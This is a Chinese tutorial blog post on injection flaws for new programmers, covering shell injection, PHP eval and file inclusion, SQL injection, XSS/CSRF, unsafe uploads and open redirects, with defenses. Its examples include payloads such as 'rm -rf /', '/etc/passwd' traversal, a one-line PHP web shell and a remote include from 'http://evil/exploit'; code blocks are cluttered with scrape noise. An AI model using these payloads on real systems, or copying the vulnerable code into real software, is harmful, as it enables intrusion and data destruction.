|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1
4 B5 k6 u* G# u* I4 b+ D* ][size=1em]2
8 x9 ~5 q8 V' \# l[size=1em]3
7 H' W& e% l# V' t[size=1em]4
$ F- D# N: d3 `' K9 S+ b[size=1em]5
" B9 C' D9 J: l* }4 P[size=1em]6 . {( }$ V. s/ S. }+ i
[size=1em]7 ! o: k) _2 A8 T* f1 }7 L
[size=1em]8 , q7 g8 r" @+ Q5 i
[size=1em]9
5 u% D7 L3 ]4 P' M% u[size=1em]10
o; I9 D) J A9 K; y[size=1em]11
0 ^6 ?0 d5 X8 w# B) Z. w | [size=1em][size=1em]use CGI qw(:standard);
" c( \! b/ U) z& o K- ~4 x6 R[size=1em]$name = param('name');" z* i( A$ ]( C8 c" P6 P
[size=1em]$nslookup = "/path/to/nslookup";
3 x6 E' ]# z; G- s[size=1em]print header;
6 c7 B9 ^( q* S8 r' i[size=1em]if (open($fh, "$nslookup $name|")) {
7 Z6 k5 e+ k3 @* B: \[size=1em] while (<$fh>) {$ Z* U/ E0 y3 o3 ?" V+ w
[size=1em] print escapeHTML($_);6 T5 b J5 z: r$ E1 u) ]
[size=1em] print "<br>\n";( @ O7 G# P, m) d3 r: v v
[size=1em] }0 z- Z: [5 X. r2 l8 y. B/ p2 z
[size=1em] close($fh);
0 A b! W8 ]8 H m! Z[size=1em]}0 O" l' w' x8 S; C( [ [5 u1 [
# Z/ b! z( ^9 Q! p
| 3 J$ h. L# D" n0 v' p
/ N! @. j" k$ O Q2 b* v7 h
如果用户输入的参数是: [size=1em][size=1em]1
* B" o$ E9 r+ b; N$ s. V | [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l, h6 l6 N& o3 G
m. C4 E6 \/ y/ @9 c8 g, S- M | , A) D b, [+ E6 n c
% \0 |8 f( r C; {; o那么,这段perl的程序就成了:
& t, V( `' r/ {- H* L[size=1em][size=1em]1
/ H- x* t* ^: k/ f | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l- Y8 o2 k5 B% F3 o& p8 o
0 t. z1 K" h6 c | & z1 m7 n- B- o" r& N9 Q
) A, [9 [' g! L# ~我们再来看一段PHP的程序: [size=1em][size=1em]1
; D! s$ r, c: `9 E( Z3 [& r[size=1em]2
; Z3 }! }+ k4 f( s[size=1em]3 7 r# k# h0 D) l0 u9 c' f
| [size=1em][size=1em]$myvar = 'somevalue';
9 {' e5 e m& V& S- R[size=1em]$x = $_GET['arg'];
* j, a# m: [# M+ [" E* d[size=1em]eval('$myvar = ' . $x . ';');9 g g4 O! n' w" A
" M& {1 D8 p! O |
$ Z/ {# z1 R( d* Z, B0 e% I9 M( ~( q7 ^+ J9 u2 y% E
“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
! o6 N- u; g" G" } @/ S; ~[size=1em]2 * e5 n# n- j0 G( O
[size=1em]3 . f4 O- e; M' z8 g2 E; e8 K
[size=1em]4
% Y' q( `3 d! ?% w5 [, S5 |0 w[size=1em]5
$ O- V' S. M1 q5 H' r' f[size=1em]6
" {6 b3 \0 `# w% B7 }: [+ h- | | [size=1em][size=1em]$isadmin= false;
v! T2 y, U% o6 Q( a[size=1em]...! A" K; g6 {. y0 P
[size=1em]...
; q3 j% v* x; M" E" ][size=1em]foreach ($_GET as $key => $value) {7 k0 z r3 r, ]/ d6 o4 |5 W3 n
[size=1em] $$key = $value;
; [5 Y ^+ t; [3 ~[size=1em]}& ^1 U- p: E3 V2 ~- I8 O
, U6 A% A; K7 K- J( T! p |
3 Y5 l/ u8 Z, o9 g4 i) }- [% D$ |( e& |" v& b. z2 X* f
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1 ( I/ x3 n7 X, B6 v. _0 Q4 M
[size=1em]2
2 }% {$ q6 J/ ~0 a8 q[size=1em]3
( ]0 L9 n' U. n6 L% k[size=1em]4
: V7 o- C: c! ]; r | [size=1em][size=1em]$action = 'login';4 d2 j- Y4 }- S ?7 n W' T
[size=1em] if (__isset( $_GET['act'] ) ) |! d8 Z! W& x$ y9 s8 r- u
[size=1em] $action = $_GET['act'];' j. X h# ]8 k5 K6 I3 h' O$ L% _" G
[size=1em] require( $action . '.php' );; h- U& n" _" H4 K5 ^$ m
! B5 D( p8 B+ H* R6 E" Z8 f
| 4 [' A: Q( @& }) h, k$ }6 }
, ?; d. }% n/ T, d6 j9 y. F这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
' G% I7 C9 E; ]
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
4 t" O( O1 ^* k( U* Y& s9 V2 Y
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1
- j( p. f: u9 g$ A' H5 E[size=1em]2 3 z- k7 ~% S2 [5 J8 u2 ^8 ^; [0 j
| [size=1em][size=1em]strSQL = "SELECT * FROM users |: g$ N* p; w& T
[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"- Z8 W6 t y9 j+ S8 A6 _7 M5 ?
4 }. J. w# H$ L
|
' @9 ?2 C0 X! [1 A w+ J2 M
) Y' w/ H4 C/ ]9 F4 L* X! h9 V用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1 1 J# A/ H* n- r% M6 D$ Q
| [size=1em][size=1em]userName = "' OR '1'='1";
; @! h1 p6 {# f' v5 x8 ?
6 X" l. e m5 c) M( G, E; [ | 5 N0 H! V+ a8 C ]3 {" Q* }
. {2 b# F* U1 d- n9 ~' e" a[size=1em][size=1em]1 $ s9 ^, s9 \0 w1 d. h) R
| [size=1em][size=1em]passWord = "' OR '1'='1";
' b8 X' c; d7 X0 G6 k/ ?- a
7 z# J0 E v# \( w) d6 e | % w" A8 B+ i% {+ d, U
9 _0 ^6 G; F* h7 H此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1
& B m* U; e, x[size=1em]2 . z r: q1 U, b5 m
| [size=1em][size=1em]strSQL = "SELECT * FROM users
/ Y+ N6 w Z; b: V[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
. @' t2 f1 L, r% @/ j9 r
/ F9 v1 v0 V3 i& \ | - O1 m9 L% x3 Z. [3 E
: c9 R4 Y8 F9 x) m/ z# f8 U0 k
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
$ f& W8 v, D5 R. S | [size=1em][size=1em]strSQL = "SELECT * FROM users;"
% R9 X5 U' U3 |0 w% a0 N9 q$ u; U6 u
| 2 P' I8 k0 d& N! f5 ^: C
( k) q& K( B; X3 P
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
# Q8 Z9 h* h6 R# E | [size=1em][size=1em]username= "' ; DELETE FROM users; --";
0 Y% g# `& \8 Z, x6 E# i8 h3 c1 @2 r0 X, l, W; o$ |
| 8 K! O/ k0 e0 }: B$ Q
2 m6 A9 }. o: { v! x6 j
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
+ w& p T; q8 a6 |1 A7 l[size=1em]2 3 _1 b7 ?$ C5 ~3 n: _, l' Q
[size=1em]3 ! S0 P8 }: _* `
[size=1em]4 ; W2 n2 J6 k* c/ m! [
[size=1em]5
1 G* ?0 J& f, d/ \' H' H+ _" w1 u | [size=1em][size=1em]<table background=”javascript:alert(1)”>
! X( |; ]0 e- M& S& r2 x& j+ j0 R, b) w# ]2 G& z
[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾1 K: A- l8 M& ]7 v
) R& T1 _6 m( E2 K4 ?& Z. Q% y[size=1em]<img src=”javascript:alert(1)”>* \0 d2 L, ? B S4 b1 y/ H- s
, a+ _0 Q8 M6 N( L! M" o$ U& ]
|
* M, M7 e$ S* j& ^! S
+ K# o2 g7 _0 s* a, SXSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1 V4 D% W# u }3 \6 k* z7 R+ }
| |
& K4 h5 W5 G2 P" f; q1 D$ K6 t. u: l0 l; L8 w3 Q
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。( l0 s; |1 C' l/ u) h a. Q
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。
6 ]$ `7 I) u1 L" d5 }0 y: L
( X& @& U, {9 z5 r6 p. k4 U
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。" \' B" v) T9 C3 Z+ f
- 限制cookie的过期时间。7 i7 `3 _3 T7 l" j$ O
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
r2 {' g: R, l) t: q
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1
/ _; j# Q4 z# _3 g \, D[size=1em]2 ) r6 l9 K8 ^. _6 u9 ^
[size=1em]3 % H* _/ [; I$ }8 |, [1 ^; L
[size=1em]4 , A% H G' d1 Z# f/ I6 u
[size=1em]5 2 e5 ]) U0 G6 q. D7 C- j
[size=1em]6
5 K2 o4 Z' V5 u z7 Y/ |[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">
/ n# z, Q6 t' R3 ] u2 U[size=1em]要上传的文件:" ~. `' L: r+ K3 x5 q& e: N+ ?
[size=1em]<input type="file" name="filename"/>
, P3 m6 f2 m' u[size=1em]<br/>) d. c( {6 k; ^& M, C! D, f
[size=1em]<input type="submit" name="submit" value="Submit"/>, |' n& v9 {6 |5 l
[size=1em]</form>
+ Q; A. `7 z' H, h: S0 G3 M" O" e. A3 V/ d# ?1 F2 ~4 n1 I8 O
& {2 \+ o) O1 ~4 f- h8 d# C6 f
d/ T9 W! ^, X. ~$ y$ P[size=1em]后台上传文件的PHP程序[size=1em]1 # g# H2 J7 z5 z7 @" Q
[size=1em]2
# q6 \3 c; a7 e1 W& C+ k' f[size=1em]3
$ w5 a* o, e% Z! x u2 P& ?[size=1em]4 J& y Y8 X! {" _/ D, | m; n
[size=1em]5 / y: T7 E8 \7 ^8 @ G
[size=1em]6 % e* d' L9 R% R: ~0 ]
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
; |1 h$ s) h$ z# F% w[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){4 i& X+ S& O# P* _! o( m3 k
[size=1em] echo "图片文件上传成功";0 p0 t" i5 D5 Y# P- m0 q* N
[size=1em]}else{</div>
v- G* f3 C% P( R+ ~: [[size=1em] echo "图片文件上传失败";
t3 v' E" M2 w' s8 P. a( ^[size=1em]}
1 o* q9 U! J' Q/ F& W4 w" Z( v7 n
. L* X% r" Y- f3 w. W
9 s$ |' Q7 f6 @( W x4 K' g0 n7 P9 V假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1
7 o; g' m4 u/ U2 E/ {* G[size=1em]2 ) h* B; F- y+ _" V0 a
[size=1em]3
. x6 ~2 ^; I' P5 O( G[size=1em][size=1em]<?php8 H+ r* P8 i! y" Z3 {7 b+ u! y
[size=1em]system($_GET['cmd']);
; ?" _) C7 K+ D0 F[size=1em]?>( s' |5 T- S+ _3 c
' @5 p% s# Q+ r% {( P ( k w) z6 s. e# j7 M$ e& j& U3 g
. _$ D/ A6 D! ], t( ?
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1
" n; h4 R/ a: L3 L5 V6 Q | [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l0 r, B: E5 ]1 x j9 B$ o# Q& B! c8 Z
2 k1 w* W* ^, T$ ]; D |
& z4 Q/ o% ~# h1 T6 w2 d* ^4 n& \8 k a2 J; I A8 H" s9 G8 { D$ t
抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
8 {! L E) k# i, V- B. z- D( x[size=1em]2 5 j3 o: a# q" q- d3 G% K
| [size=1em][size=1em]$redirect_url = $_GET['url'];/ R& ]3 V) d. E- a3 E, l' w
[size=1em]header("Location: " . $redirect_url);6 [! e# |( j: L# Z- `- K% \1 S7 ]
% \$ p' ]: @+ X6 @
|
9 F+ |" W/ U. }* E/ H/ D6 V2 I6 o7 m; @2 f, `0 }. B( U& Q& ?, h/ c
这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
* ^; j1 r! X( i! k9 E[size=1em][size=1em]1 * ~( ]+ X3 E" L
| [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
" ?, ?% |* D% y" j2 ~$ R3 l R; c! Q; F" E7 @. d- U& z- i: H' [
|
+ { {( q4 j4 U" s6 Z
! j! V8 D) j$ t; E$ |% m, t# y这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |